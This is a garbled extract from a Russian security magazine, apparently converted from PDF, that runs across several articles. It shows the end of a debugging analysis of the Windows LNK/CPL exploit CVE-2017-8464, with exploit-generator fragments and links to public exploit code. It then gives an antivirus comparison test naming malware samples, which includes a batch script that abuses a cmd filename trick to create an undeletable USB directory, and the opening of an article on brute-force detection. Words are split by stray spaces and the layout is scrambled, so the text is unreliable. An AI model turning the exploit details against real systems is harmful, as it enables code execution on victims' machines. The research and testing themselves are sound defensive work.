Итак, ярлык говорит сис теме о том, что объ ект объ явля ется частью «Панели
управле ния»  и  обра баты вать  его  нуж но  осо бен ным  обра зом.  «Панель
управле ния»  сос тоит  из  ком понен тов,  называ емых  аппле тами  Control  Panel
Applets  ( ).  По  боль шому  сче ту  это  обыч ные  DLL,  которые  име ют
рас ширение .cpl и экспор тиру ют фун кцию  .

CPLApplet
CPlApplet

Вот и наша биб лиоте ка может спо кой но сой ти за  такой апплет, если его
пра виль но пре под нести  сис теме. Чем и  занима ется  сге нери рован ный файл
LNK.

В  прош лом  раз деле  мы  оста нови лись  на  эта пе  пар синга  спе циаль ной
дирек тории.

Да вай  вер немся  к  это му  про цес су  уже  с  реаль ным  при мером.  Что бы
разоб рать ся, что там про исхо дит, я отряхнул от пыли свой WinDbg. Атта чим ся
к про цес су   и ста вим пре рыва ние на вызов фун кции 

.
explorer.exe _Decode‐

SpecialFolder

!process 0 0 explorer.exe
.process /r /p ffffda016330b7c0
bu windows_storage!CShellLink::_DecodeSpecialFolder

Ат тач к про цес су explorer.exe и уста нов ка брейк‐пой нта
на _DecodeSpecialFolder

Те перь  под клю чаем флеш ку  к  вир туаль ной машине  и  попада ем  в  дебаг гер.
Брейк‐пой нт сра ботал. Мы находим ся перед вызовом 
.

_DecodeSpecialFold‐
er

Пот рей сим  нем ножко  впе ред  с  помощью  F10  и  дой дем  до  фун кции
. Видим, что в дан ных из   най ден блок 

.
SHFindDataBlock IDList SpecialFold‐
erDataBlock

Блок SpecialFolderDataBlock, заг ружен ный в память

За тем управле ние перехо дит к фун кции  , она воз вра‐ 
щает  ука затель  на  струк туру  ,  которая  отве чает  за  ука зан ную
в   спе циаль ную пап ку  (в нашем слу чае — «Панель
управле ния», так как   равен  ).

SHCloneSpecialIDList
ITEMIDLIST

SpecialFolderDataBlock
SpecialFolderID 0х03

Да лее  чита ется  сме щение,  по  которо му  мож но  най ти  эле мент,  содер‐ 
жащий путь до DLL.

За тем  все  это  дело  переда ется  в  фун кцию 
из той же биб лиоте ки window.storage.dll. В ней про исхо дит обра бот ка объ екта
сог ласно ука зан ным в ярлы ке двум CLSID. Для это го из реес тра счи тыва ется
информа ция о них.

TranslateAliasWithEvent

Даль ше за дело берет ся фун кция 
 из shell32.dll. Она пыта ется получить наз вание псев доэле мен та панели

управле ния,  так  как  мы  выда ем  нашу  биб лиоте ку  с  каль кулято ром  за  него.
Потом  выпол нение  переда ется  к 

.

CControlPanelFolder::ParseDisplay‐
Name

CControlPanelFolder::_GetPidlFromAp‐
pletId

Вы пол нение на эта пе вызова фун кции _GetPidlFromAppletId

Фун кция чита ет наз вание аппле та из эле мен та  . Экс пло ит исполь зует
стро ку «Microsoft», но там, по сути, может быть что угод но.

ItemID

099:     def generate_cpl_applet(path, name=name):
100:         name += b'x00'
174: def ms_shllink(path, name=b"Microsoft"):

Для  получе ния  даль нейших  све дений  об  аппле те  сис тема  дол жна  заг рузить
его. Это при водит нас к фун кции  .CPL_LoadCPLModule

От ладка экс пло ита. Момент вызова фун кции, заг ружа ющей апплет

Эта фун кция наконец‐то заг ружа ет наш DLL при помощи  . Пос‐ 
коль ку исполь зует ся имен но эта фун кция, а не ее рас ширен ная вер сия Load‐
LibraryExW,  при  заг рузке  биб лиоте ки  выпол няет ся  зашитый  в  нее  пей лоад.
Про цесс запус кает ся в кон тек сте   и, соот ветс твен но, получа ет
мак сималь ные воз можные для текуще го поль зовате ля пра ва.

LoadLibraryW

explorer.exe

Стек вызова фун кций до отра бот ки пей лоада и резуль тат его работы —
запущен ный каль кулятор

КРАТКО О ПАТЧЕ
Ра зуме ется,  раз работ чики  не  сидели  сло жа  руки  и  выпус тили  патч  для  всех
уяз вимых вер сий Windows. Это один из самых малень ких фик сов, соз данных
в  Microsoft,  что  я  видел.  По  сути,  добави лась  все го  одна  фун кция
перед вызовом  .CPL_LoadCPLModule

Из менения в биб лиоте ке shell32.dll пос ле пат ча

Это фун кция  . Она про веря ет, зарегис три рован ли
соот ветс тву ющий  апплет  в  панели  управле ния,  и  если  нет,  то  заг рузка  DLL
отме няет ся.  Вот  как  выг лядит  .  Будем  наде ять ся,  что  с  чет верто го
раза у Microsoft все получи лось как надо!

_IsRegisteredCPLApplet

diff  кода

ДЕМОНСТРАЦИЯ ЭКСПЛУАТАЦИИ УЯЗВИМОСТИ

https://vimeo.com/232014058

ВЫВОДЫ
В зак лючение хочет ся ска зать: не всег да бес смыс ленно про верять то, что уже
было иссле дова но до тебя. И, как показы вает наг лядный при мер с этой уяз‐ 
вимостью,  даже  если  выпущен  патч  —  это  сов сем  не  повод  опус кать  руки
и счи тать, что баг устра нен окон чатель но.

https://github.com/3gstudent/CVE-2017-8464-EXP
https://www.exploit-db.com/exploits/42429/
https://msdn.microsoft.com/en-us/library/cc144090(v=vs.85).aspx
https://msdn.microsoft.com/en-us/library/windows/desktop/cc144199(v=vs.85).aspx
https://msdn.microsoft.com/en-us/library/windows/desktop/bb776392(v=vs.85).aspx
http://www.mergely.com/e4gIVDBV/
https://vimeo.com/232014058
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MALWARE

Но вые анти виру сы появ ляют ся так час то, что тес тировать их
мож но  бес конеч но.  Одна ко  дей стви тель но  нового  в  них
мало. Обыч но это сочета ние типово го интерфей са с лицен‐ 
зирован ным у кого‐то анти вирус ным движ ком. Тем инте рес‐ 
нее, ког да они демонс три руют очень раз ные резуль таты.

Статья  носит  иссле дова тель ский  харак тер.  Она
пред назна чена  для  спе циалис тов  по  безопас‐ 
ности  и  тех,  кто  хочет  ими  стать.  Все  фай лы
получе ны из откры тых источни ков и уда лены пос‐ 
ле тес тирова ния.

УЧАСТНИКИ ТЕСТИРОВАНИЯ
В этот раз сос тав квар тета в нашем анти вирус ном обзо ре такой:
1. Фин ский F‐Secure Anti‐Virus.
2. Не мец кий G Data AntiVirus.
3. Ин дий ский eScan Anti‐Virus / Internet Security.
4. Аме рикан ский Webroot SecureAnywhere for PC Gamers.

1. Kaspersky Free, Avira Free, AVG Free и Avast! Free
2. Comodo, Qihoo 360, Panda и Windows Defender
3. Clam Sentinel, FortiClient, Tencent и NANO Анти вирус
4. Ad‐Aware, Crystal Security, Sophos Home и ZoneAlarm + Firewall
5. Anvi Smart Defender Free, Baidu Antivirus, Immunet AntiVirus и Zillya!
6. Bitdefender, Clearsight, Rising, Roboscan
7. Kaspersky Total Security, Dr.Web Security Space, Norton Security Premium, K7
Ultimate Security

МЕТОДИКА ТЕСТИРОВАНИЯ
Каж дый  анти вирус  изу чал ся  в  сво ей  вир туаль ной  машине  —  кло не  чис той
Windows  10  (вер сия  1703,  сбор ка  ОС  15063.413)  для  обес печения  рав ных
усло вий  всем  учас тни кам.  В  бра узе ре  Edge  был  отклю чен  филь тр  Smart‐
Screen.  «Защит ник  Windows»  и  встро енный  бран дма уэр  так же  были  вык‐ 
лючены  перед  тес тами.  Плюс мы  пос тоян но  про веря ли,  что бы  они  не  акти‐ 
виро вались самос тоятель но.

Пе ред  про вер кой  все  анти виру сы  обновля лись.  Мы  исполь зовали  нас‐ 
трой ки  по  умол чанию,  пос коль ку  имен но  так  анти виру сы  работа ют  у  боль‐ 
шинс тва поль зовате лей.

Пер вая серия тес тов — про вер ка ком понен тов защиты от интернет‐угроз.
В  бра узе ре  Edge  по  оче реди  откры вались  заведо мо  вре донос ные  ссыл ки,
реак ция анти виру сов про токо лиро валась. При необ ходимос ти мы раз решали
ком понен ты  Adobe  Flash  и  дру гое  активное  содер жимое,  отве чая  утверди‐ 
тель но на каж дый зап рос.

Вто рая  серия  тес тов —  про вер ка  реак ции  на  появ ление  локаль ной  под‐ 
борки  злов редов.  Десять  све жих  образцов  с  име нами  вида 
и  без  рас ширений  были  записа ны  в  архив,  зак рытый  паролем.  Архив
помещал ся на сетевой диск, под клю чаемый в режиме «толь ко чте ние». Пред‐ 
при нима лась  попыт ка  рас паковать  содер жимое  архи ва  с  сетево го  дис ка
в каталог «Заг рузки» текуще го поль зовате ля.

mw_sample‐N

Ес ли анти вирус поз волял их ско пиро вать (не про верял тра фик на лету), то
нас тупал  сле дующий  раунд.  Все  успешно  ско пиро ван ные  образцы  мал вари
про веря лись вруч ную в режиме при цель ного ска ниро вания по зап росу. Если
и  пос ле  это го  оста вались  необ наружен ные  злов реды,  то  им  прис ваива лось
истинное  рас ширение  (по  заголов ку фай ла)  и  они  запус кались  на  исполне‐ 
ние.

За раже ние ред ко уда ется рас познать по внеш ним
приз накам. Мно гие злов реды внед ряют ся скрыт‐ 
но и так же незамет но дей ству ют потом, успешно
обма нывая  анти вирус ные  ска неры.  Даже  если
анти вирус  опре делил  и  заб локиро вал  какую‐то
угро зу,  нет  гаран тии,  что  дру гая  в  это же  вре мя
не получи ла кон троль над сис темой.

ЗЛОВРЕДЫ
В под борку образцов для локаль ной про вер ки вош ли десять злов редов раз‐ 
ных типов.
1.  .Trojan.Downloader.VBA
2.  .Trojan Ransom Locky
3.  .Spyware TrickBot/WisdomEyes
4.  .Backdoor Androm VbCrypt
5.  .Trojan Ransom Eldorado
6.  .Trojan‐Ransom Cryptor
7.  .Trojan Razy
8.  .Trojan Matrixran
9.  .Trojan‐Downloader JS‐Nemucod
10.  .Trojan Injetor Nanocore

Спи сок  вре донос ных  сай тов  не  ука зыва ем,  дабы  не  пло дить  заразу  (да
и уста реют такие ссыл ки ко вре мени пуб ликации статьи).

ESCAN ANTI-VIRUS V. 14.0.1400.2029
Этот  индий ский  анти вирус  мак сималь но  уни вер саль ный.  Он  работа ет
в  любой  вер сии Windows,  начиная  с  2000  (NT  5.0)  и  закан чивая  «десят кой»
незави симо  от  ее  раз ряднос ти.  Интерфейс  переве ден  на  рус ский  язык.
Помимо собс твен но анти виру са с кучей допол нитель ных ком понен тов, в сос‐ 
тав дис три бути ва вхо дит бран дма уэр.

Глав ное окно анти виру са eScan

Ин терес ная  осо бен ность  eScan —  воз можность  «вак цинации» USB‐фле шек
для  пре дот вра щения  рас простра нения  через  них  мал вари,  запус каемой
из  .  Вак цинация  не  работа ет  в  три аль ной  вер сии,  поэто му  мы
написа ли свой бес плат ный ана лог (см. врез ку).

autorun.inf

До пол нитель ные ком понен ты анти виру са eScan

Дис три бутив  анти виру са  eScan  ком пании  MicroWorld  Technologies  прос то
огромный.  Инстал лятор  занима ет  390  Мбайт,  а  пос ле  уста нов ки  —
842  Мбайт.  Базы  обновля ются  по  HTTP  и  очень  мед ленно:  пот ребова лось
девять  с  полови ной минут,  что бы ска чать 26 Мбайт  по  выделен ке. Сер веры
eScan  тор мозят  так,  слов но  исполь зуют  модем ное  соеди нение.  Во  вре мя
обновле ния  по  оче реди  заг ружа ются  свы ше  ста  фай лов  малого  объ ема,
и каж дый из них зап рашива ется отдель но. Архив? Кумуля тив ное обновле ние?
Нет, не слы шали.

С  защитой  от  вре донос ных  стра ниц  eScan  спра вил ся  наполо вину,  опре‐ 
делив  пять  из  десяти  опас ных  веб‐стра ниц.  Помога ло  анти виру су  и  то,  что
бра узер MS Edge бло киру ет ком понен ты Adobe Flash.

Edge бло киру ет Flash

Од нако  eScan  про пус тил  некото рые  сай ты  с  вре донос ными  джа ва‐скрип‐ 
тами, инжектом фрей мов и редирек тами.

Час тичный детект заражен ной веб‐стра ницы

По  одной  из  ссы лок  eScan  обна ружил  толь ко  заражен ный  PHP,  в  то  вре мя
как инфи циро ван ные фай лы favicon.ico и *.gif там же про пус тил. Разуме ется,
фай лы  изоб ражений  не могут  непос редс твен но  запус кать  вре донос ный  код
на  исполне ние,  одна ко  их  час то  исполь зуют  как  кон тей неры  для  мал вари,
которая акти виру ется через экс пло иты или скрип ты.

Тест на локаль ные угро зы eScan про шел блес тяще. При попыт ке ско пиро‐ 
вать образцы заведо мо инфи циро ван ных фай лов с сетево го дис ка он мгно‐ 
вен но уда лил их копии.

Де сять из десяти злов редов обна руже ны

Точ нее, девять он сра зу помес тил в каран тин, а одно го неиз лечимо го добил
из  милосер дия  с  нашего  раз решения.  Про вер ка  в  режиме  реаль ного  вре‐ 
мени  сра бота ла,  как  и  дол жна:  авто мати чес ки  про вери ла  новые  фай лы
незави симо от их рас ширения. Вто рой раунд не понадо бил ся.

Ког да‐то дав но я написал собс твен ный «USB‐вак цинатор» в виде коман дно го
фай ла Windows. Он исполь зует ошиб ку  в  коман дном интер пре тато ре,  что бы
бло киро вать  соз дание  злов редами  их  авто запус ка  с  флеш ки.  Пос ле  вак‐ 
цинации мож но поль зовать ся флеш кой как обыч но. Сами злов реды по‐преж‐ 
нему могут на нее копиро вать ся, но уже не запус тятся авто мати чес ки.

Ло гика  вак цинато ра  прос та:  при  наличии  в  фай ловой  таб лице  записи
о дирек тории   в кор не соз дать там же файл   невоз‐ 
можно  —  это  логичес кое  огра ниче ние  фай ловых  сис тем  FAT16/32  и  NTFS.
Пус той  каталог    тому  же  злов реду  лег ко  уда лить.  Если  он
помечен как скры тый и толь ко для чте ния — уда лить чуть слож нее (пот ребу‐ 
ется под твержде ние или пред варитель ное изме нение атри бутов, что не всег‐ 
да пре дус мотре но в коде мал вари). Если же в   есть «неп равиль‐ 
ный» под каталог с име нем пор та, то уда лить его штат ными средс тва ми будет
невоз можно.

AUTORUN.INF autorun.inf

AUTORUN.INF

AUTORUN.INF

Де ло в том, что Windows игно риру ет опе рации с объ екта ми фай ловой сис‐ 
темы,  если  их  имя  сов пада ет  с  наз вани ем  пор та.  Это  зарезер вирован ные
име на. Одна ко такие «неп равиль ные» записи мож но соз дать путем обфуска‐ 
ции переда ваемых в коман дную стро ку парамет ров. Вак цинато ром соз дает ся
зап рещен ный  и  потому  неуда ляемый  под каталог    в  катало ге 

.  Пос ле  это го  он,  как  родитель ский  объ ект,  так же  ока зыва ется  неуда‐ 
ляемым.

LPT5 AUTORUN.

INF

Те оре тичес ки  это  не  стоп роцен тная  гаран тия,  но  за  мно го  лет  прак тики
метод не под водил меня ни разу. Он осо бен но удо бен для тех, кто пос тоян но
исполь зует свою флеш ку в «пуб личных» мес тах.

Будь  осто рожен  с  этим  кодом.  Он  прос той  и  безобид ный,  да  и  вряд  ли
у  тебя  есть  пятый  порт  LPT,  но  запус кать  его  сто ит  толь ко  с  защища емой
флеш ки. Надо ско пиро вать на нее коман дный файл, запус тить и уда лить его
пос ле появ ления пус тых катало гов  .AUTORUN.INF\LPT5

cls

@echo off

color 2f

echo This command file uses known vulnerability in command‐line 

interpreter

echo to create undeletable directory 'AUTORUN.INF'

echo in root of the current drive.

echo It blocks autorun of any malware from USB Flash,

echo because file 'autorun.inf' can't be created

echo when directory with the same name already exist.

echo ‐‐

echo WBR, 84ckf1r3

echo.

set /p ANS=Press 'y' to continue or any other key to exit without 

changes:

if /i "%ANS%"=="y" goto :DOIT

goto :EOF

:DOIT

if not exist AUTORUN.INF (

echo Creating undeletable directory...

mkdir "?%~d0AUTORUN.INF\LPT5"

attrib +h +r AUTORUN.INF

) else (

echo The directory 'AUTORUN.INF' has been already created!

echo Press any key to exit now

PAUSE

goto :EOF

)

F-SECURE ANTI-VIRUS V. 17.193 BUILD 128
Трид цатид невная  проб ная  вер сия  анти виру са  F‐Secure  работа ет  в Windows
7–10  любой  раз ряднос ти.  У  него  так же  есть  рус ско языч ный  интерфейс.
Помимо  локаль ных  баз,  исполь зует ся  облачная  про вер ка,  которая  называ‐ 
ется  Security  Cloud.  Так же  реали зова на  фун кция  кон тро ля  нежела тель ных
изме нений в сис теме — DeepGuard.

Ос новная стра ница F‐Secure

Он лай новый  инстал лятор  весит  мень ше  мегабай та,  но  выкачи вает
он 130 Мбайт и занима ет на дис ке око ло двух сот. Обновле ние длит ся четыре
минуты — сред ний резуль тат, но перед уста нов кой собс твен но анти виру са F‐
Secure  заг ружа ет  еще  и  ком понент  быс трой  про вер ки  компь юте ра.  В  ито ге
вре мя до пер вого запус ка анти виру са уве личи вает ся в разы. Нем ного стран‐ 
ный под ход, пос коль ку обыч ную заразу анти вирь и  так  уда лит, а вся кие рут‐ 
киты и APT все рав но не обна ружишь экс пресс‐про вер кой. Их надо вычищать,
заг ружа ясь с чис той про шив ки и отдель ной опе раци онки.

Ито ги  пер вого  эта па  про вер ки  под водить  в  дан ном  слу чае  слож но. Вре‐ 
донос ные  веб‐стра ницы  F‐Secure  бло киру ет  через  ком понент  на  JavaScript,
и под дер жка джа ва‐скрип тов дол жна быть вклю чена в бра узе ре. По нашему
впе чат лению, она кор рек тно работа ет  толь ко в  IE, а в Edge анти вирус F‐Se‐
cure час то пре пятс тво вал заг рузке сай тов, при чем не толь ко вре донос ных.

Ког да вре мя ожи дания откли ка исте кало, бра узер Edge писал: «Не уда ется
заг рузить  веб‐стра ницу».  При  этом  никаких  сооб щений  от  анти виру са
не появ лялось, а те же стра ницы спо кой но откры вались из дру гих кло нов тес‐ 
товой сис темы.

Иног да нам все же уда валось зафик сировать как про валы, так и реак цию
анти виру са на веб‐угро зы. Его сооб щения были не слиш ком информа тив ны.

Ре директ на стра ницу с кон текс тной рек ламой про шел незаме чен ным

Ес ли  F‐Secure  сооб щает об  угро зе  во  вре мя  веб‐сер финга,  то  совер шенно
неяс но —  где  и  какой.  Он  может  руг нуть ся  не  на  текущую  вклад ку,  а  на  ту,
которую ты откры вал пол минуты назад.

Где‐то обна ружен злов ред

Что бы узнать под робнос ти, при ходит ся каж дый раз кли кать на ссыл ке «Све‐ 
дения».  Тог да  отоб разит ся  таб личка  с  крат кими  резуль татами  про вер ки
и  сле дующей  ссыл кой —  «Допол нитель ные  све дения».  Уже  по  кли ку  на  нее
заг ружа ется стра ница с общим опи сани ем семей ства злов редов.

Мень ше зна ешь — креп че спишь

При копиро вании набора заражен ных фай лов анти вирус F‐Secure опре делил
и  уда лил  восемь из десяти образцов. Все дей ствия про исхо дили авто мати‐ 
чес ки, но пауза была очень дол гой. Мы уже были готовы записать абсо лют ное
пораже ние  и  прис тупить  ко  вто рому  раун ду  с  пол ным  набором  мал варей,
но  тут  посыпа лись  всплы вающие  окна  от  F‐Secure  и  началось  уда ление
образцов.

Во семь из десяти

Сре ди не опре делен ных F‐Secure злов редов в катало ге «Заг рузки» оста лись
сем плы с поряд ковыми номера ми один и девять. Девятый — JS в архи ве ZIP.
Пос ле  прис воения  ему  исходно го  рас ширения  F‐Secure  никак  не  сре аги‐ 
ровал  на  архив. Даже  ког да мы  вруч ную  запус тили  из  архи ва  джа ва‐скрипт,
анти вирус не шелох нулся. Толь ко спус тя секунд десять он отра пор товал, что
какой‐то  вре донос ный  объ ект  во  вре мен ной  пап ке  поль зовате ля  (копия
скрип та) уда лен.

F‐Secure детек тировал злов редный скрипт толь ко при его рас паков ке

Пос ле пов торно го запус ка скрип та ситу ация пов торилась, а секунд через пять
анти вирус  все‐таки  при бил  архив  с  заразой.  Пер вый  же  обра зец  (прот‐ 
роянен ный  файл  .docx  уже  с  кор рек тным  рас ширени ем)  F‐Secure  упор но
игно риро вал.

Ре зуль тат — восемь из десяти в пер вом раун де и девять из десяти во вто‐ 
ром.

Продолжение статьи →
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G DATA INTERNET SECURITY 25.4.0.1
Сна чала  мы  собира лись  про тес тировать  G  Data  AntiVirus.  Его  офлай новый

дис три бутив занима ет 230 Мбайт, но при этом он не самодос таточен. Часть

ком понен тов все рав но заг ружа ется из Сети. Во вре мя это го увле катель ного

про цес са  нам  показа ли  нес коль ко  рек ламных  бан неров  по  кру гу  и…  сооб‐ 

щили об ошиб ке. На пос леднем эта пе инстал лятор вдруг перес тавал видеть

интернет‐под клю чение — про веря ли нес коль ко раз.

Ошиб ка уста нов ки

По это му  приш лось  ста вить  вмес то  него  G  Data  Internet  Security  —  один

из ком плексных про дук тов с анти виру сом на движ ке Bitdefender. Он пред лага‐ 

ется  как  три ал  на  30  дней  с  воз можностью  исполь зования  в  Windows  7–

10  любой  раз ряднос ти.  Сре ди  под держи ваемых  язы ков  рус ско го  нет.  Зато

есть облачная про вер ка  (CloseGap) и отдель ный ком понент для безопас ных

пла тежей онлайн (BankGuard).

Веб‐инстал лятор занима ет 15 Мбайт. Он ска чива ет пол гига дис три бутив‐ 

ных фай лов и спус тя пять минут все‐таки уста нав лива ет анти вирус… но поль‐ 

зовать ся  им  нель зя  до  перезаг рузки.  Видимо,  из‐за  глу бокой  интегра ции

в сис тему.

По луги говый дис три бутив

В сос тав G Data IS вхо дит мас са допол нитель ных ком понен тов: фай рвол, ути‐ 

лита  гаран тирован ного  уда ления фай лов, менед жер  авто запус ка,  родитель‐ 

ский  кон троль  и  облачный  бэкап.  Резер вное  копиро вание  на  локаль ные

носите ли под держи вает ся толь ко для вер сии Total Security.

Глав ное окно G Data IS

Во вре мя пер вого эта па тес тирова ния G Data обна ружил вре донос ные ком‐ 

понен ты на шес ти из десяти инфи циро ван ных и фишин говых сай тов.

При мер детек та

Со обще ния  анти виру са  были  дос таточ но  информа тив ными  и  появ лялись

прак тичес ки сра зу по мере заг рузки веб‐стра ницы. Одна ко в четырех слу чаях

G Data вооб ще никак не сре аги ровал на опас ные сай ты. Зараже ния не про‐ 

изош ло  толь ко  бла года ря  отклю чен ным  по  умол чанию  пла гинам  в  Edge

и «голой» опе раци онке без типово го набора офис ных прог рамм.

При локаль ной про вер ке анти вирус реаби лити ровал ся, обна ружив десять

из десяти инфи циро ван ных фай лов еще на эта пе рас паков ки архи ва и до их

попада ния в каталог «Заг рузки».

Ран нее обна руже ние

Ес ли в таком режиме выб рать вари ант дей ствия «уда лить» для всех заражен‐ 

ных фай лов, то они не уда ляют ся (исходный диск под клю чен толь ко для чте‐ 

ния).  Вмес то  это го  соз дает ся  копия  фай ла  с  рас ширени ем  ,  а  дос туп

к  нему  бло киру ется  средс тва ми  анти виру са.  Толь ко  при  пов торном  обра‐ 

щении к уже рас пакован ным фай лам их мож но дей стви тель но уда лить через

анти вирус.

.vir

WEBROOT SECURE ANYWHERE 9.0.17.28
Ан тивирус получил свое наз вание из‐за воз можнос ти уда лен ного управле ния

через  веб‐кон соль.  Пос ле  регис тра ции  на  сай те  поль зователь  попада ет

в  «лич ный  кабинет»,  отку да  может  прос матри вать  ста тис тику  работы  анти‐ 

виру са  на  всех  сво их  устрой ствах  и  даже  отправ лять  им  коман ды.  Прав да,

в  кон фигура ции  Windows  10  по  умол чанию  эти  коман ды  игно риру ются.

Ни заб локиро вать, ни перезаг рузить компь ютер уда лен но через веб‐кон соль

Webroot не уда ется.

Ос новное окно и веб‐кон соль Webroot

Как и во мно гих дру гих «ком бай нах», в сос таве Webroot есть допол нитель ные

ути литы:  уда ления  фай лов  с  затира нием  осво бодив шихся  сек торов  слу чай‐ 

ными дан ными, менед жер активных про цес сов и дру гие. Часть фун кций (нап‐ 

ример,  резер вное  копиро вание  в  обла ко)  дос тупны  толь ко  пос ле  регис тра‐ 

ции на сай те, а менед жер паролей не работа ет в MS Edge. Инте рес ным отли‐ 

чием  ста ла  встро енная  песоч ница  —  изо лиро ван ная  сре да  SafeStart

для запус ка потен циаль но опас ных прог рамм.

До пол нитель ные инс тру мен ты Webroot

Во вре мя пер вого эта па тес тирова ния выяс нилось, что Webroot не про веря ет

код  заг ружа емых  веб‐стра ниц.  Он  прос то  смот рит  репута цион ную  харак‐ 

терис тику  сай та  по  базе  сво его  облачно го  сер виса  и  бло киру ет  дос туп

к адре сам из чер ного спис ка.

Сайт с низ кой репута цией

Ес ли  же  вре донос ного  сай та  в  этом  переч не  нет,  то  все  содер жимое

веб‐стра ниц  спо кой но  переда ется  в  бра узер.  Поэто му  тут  бес смыс ленно

говорить о про цен те сра баты ваний. Экс пло иты, мно гоуров невые редирек ты,

спам  в  iframe,  всплы вающие  окна,  фишин говые  ссыл ки,  попыт ки  заг рузить

инфи циро ван ные  фай лы  на  компь ютер  —  все  это  никак  не  бло киро валось

Webroot.  Один  из  вре донос ных  сай тов  сов пал  по  офор мле нию  с  глав ным

окном анти виру са.

Webroot не ана лизи рует код сай тов

Во вре мя вто рого эта па анти вирус повел себя лишь чуть луч ше. При извле‐ 

чении инфи циро ван ных образцов из архи ва Webroot поз волил им записать ся

в каталог «Заг рузки». Пос ле чего он выдал всплы вающее окно об обна руже‐ 

нии одной угро зы и тут же перезаг рузил компь ютер безо вся ких зап росов.

Webroot про пус тил три злов реда

Пос ле переза пус ка  в  катало ге  «Заг рузки» оста лись  три образца  злов редов:

пер вый, девятый и десятый. Их про вер ка вруч ную не изме нила вер дикт Web‐

root —  он  счел фай лы  безопас ными.  Тог да  мы  пере име нова ли  и  запус тили

десятый  семпл.  Тро ян‐вымога тель  семей ства  Locky  успешно  соз дал  клю чи

в сек ции авто запус ка, пос ле чего тес товый компь ютер завис.

За писи тро яна в авто запус ке

Пос ле перезаг рузки сис тема едва отзы валась на коман ды, но через нес коль‐ 

ко минут Webroot опре делил тро яна в раз ных мес тах — уже как активную угро‐ 

зу.

При ходит ся лечить активное зараже ние

Webroot изме нил вер дикт фай лу уже пос ле переда чи управле ния тро яну

…и сме нить анти вирус

Для уда ления тро яна пот ребова лось еще две про вер ки и оче ред ная перезаг‐ 

рузка. Два дру гих злов реда Webroot так и не уви дел.

ВЫВОДЫ
Ан тивирус от eScan инте ресен воз можностью исполь зовать его в любой вер‐ 

сии Windows — от новой «десят ки» до древ ней Win 2000. Одна ко его раз мер

бьет  все  рекор ды,  а  эффектив ность  оставля ет  желать  луч шего.  Он  быс тро

реаги рует на локаль ные угро зы, но пло хо справ ляет ся с про вер кой веб‐стра‐ 

ниц.

F‐Secure  гораз до  мень ше  по  раз меру,  но  обла дает  и  мень шей  фун кци‐ 

ональ ностью.  Про вер ка  веб‐стра ниц  работа ет  на  JS  и  пло хо  сов мести ма

с  Edge.  Она  час то  меша ет  дос тупу  к  сай там,  но  порой  про пус кает  фишин‐ 

говые ссыл ки и заражен ные ком понен ты веб‐стра ниц. Для локаль ной про вер‐ 

ки  реак ция  F‐Secure  очень  мед ленная.  Вре донос ные  фай лы  успе вают

попасть на компь ютер, а некото рые (два из десяти в нашем тес те) он прос то

игно риру ет.

Про дук ты G Data так же далеки от иде ала, но хоть как‐то работа ют. Инстал‐ 

лятор анти виру са, прав да, ока зал ся глюч ным (он так и не уста новил ся в чис‐ 

той вин де), а вот ком плект Internet Security осо бых нарека ний не вызывал. Он

неп лохо про веря ет веб‐стра ницы, показы вая доволь но информа тив ные пре‐ 

дуп режде ния с воз можностью выбора дей ствия. Локаль ные угро зы он и вов се

опоз нал еще на эта пе рас паков ки архи ва.

Ан тивирус Webroot  исполь зует  зна комую  по  решени ям  Sophos  и  Fortinet

схе му  управле ния  через  веб‐кон соль,  но  силь но  усту пает  им  по  качес тву.

Сай ты  он  фак тичес ки  не  про веря ет,  огра ничи ваясь  репута цион ной  харак‐ 

терис тикой.  Некото рые  локаль ные  угро зы  не  видит  в  упор  до  тех  пор,  пока

они  не  перей дут  в  активную  фазу.  Это  единс твен ный  анти вирус,  который

в сегод няшнем тес те триж ды перезаг рузил сис тему и поз волил заразить ее.

•F‐Secure Anti‐Virus
•G Data AntiVirus
•eScan Anti‐Virus
•Webroot SecureAnywhere

http://download.sp.f-secure.com/SE/Retail/installer/2/F-SecureNetworkInstaller_AV-ESTORE-TRIAL-GLOBAL_.exe
https://www.gdatasoftware.com/private-user/free-trial
http://update1.mwti.net/akdlm/download/escan/escan14/awn4k3ek.exe
http://anywhere.webrootcloudav.com/zerol/wsamgravt.exe


ПИШЕМ СВОЮ СИСТЕМУ ВЫЯВЛЕНИЯ

АТАК ПЕРЕБОРОМ

Руслан Кулаков
Стажер в команде

продуктовой безопасности
Mail.Ru Group

r.bomin@corp.mail.ru

ВЗЛОМ

Боль шинс тво поль зовате лей до сих пор ста вят себе на акка‐ 

унты прос тые пароли — ком бинации даты рож дения, име ни

любимо го фут болис та,  клич ки  питом ца,  не  подоз ревая,  что

вся эта информа ция находит ся в откры том дос тупе. Исполь‐ 

зуя  ее,  брут форсер  может  зна читель но  облегчить  себе

задачу  уго на  акка унтов.  Что бы  это му  про тиво дей ство вать,

вво дят  антибрут форс  (АБФ).  Как  оце нить  качес тво  его

работы? Как вычис лить взлом щика‐брут форсе ра и отде лить

его  вре донос ные  зап росы  от  легитим ных?  В  этой  статье  я

рас ска жу,  каким  обра зом  эти  задачи  были  решены  у  нас

в ком пании.

Очень  час то,  вмес то  того  что бы  ста вить  в  сис тему  слож ный  АБФ,  адми ны

огра ничи вают ся  прос тым  пра вилом:  если  количес тво  неудач ных  зап росов

за опре делен ный пери од пре выша ет задан ное зна чение, то надо заб локиро‐ 

вать  все  зап росы  с  это го  IP  на  некото рое  вре мя  или  вывес ти  кап чу.  Воз‐ 

можно,  для  каких‐нибудь доволь но  прос тых  сай тов  такое решение дей стви‐ 

тель но будет работать, но, ког да речь заходит о про ектах с боль шим чис лом

поль зовате лей, могут воз никнуть проб лемы.

Выс тавлять  дли тель ные  бло киров ки  по  IP‐адре сам  не  будет  хорошим

решени ем:  взлом щик  может  этим  вос поль зовать ся  и  заб локиро вать  авто‐ 

риза цию  сра зу  для  боль шого  чис ла  поль зовате лей,  прос то  меняя  IP‐адрес

пакетов.

Ис поль зовать кап чу — вари ант не для всех: чем чаще ее показы ваешь, тем

боль ше  зат рудня ешь  поль зование  сай том.  Поэто му  на  некото рые  зап росы,

нап ример в мобиль ных при ложе ниях, ее могут прос то не ста вить. И, на мой

взгляд,  очень  важ но  пре секать  попыт ку  брут форса  имен но  на  эта пе  обра‐ 

щения к сер веру авто риза ции.

Ес ли  решишь  исполь зовать  у  себя  сто рон нее,  прод винутое  решение,  то

надо  убе дить ся,  что  оно  пра виль но  скон фигури рова но  для  работы  имен но

с тво ей сис темой. Если это го не сде лать, резуль тат может получить ся не луч‐ 

ше, чем у прос того пра вила с рейт‐лимита ми, а ресур сов для сво его содер‐ 

жания такой АБФ будет тре бовать в разы боль ше.

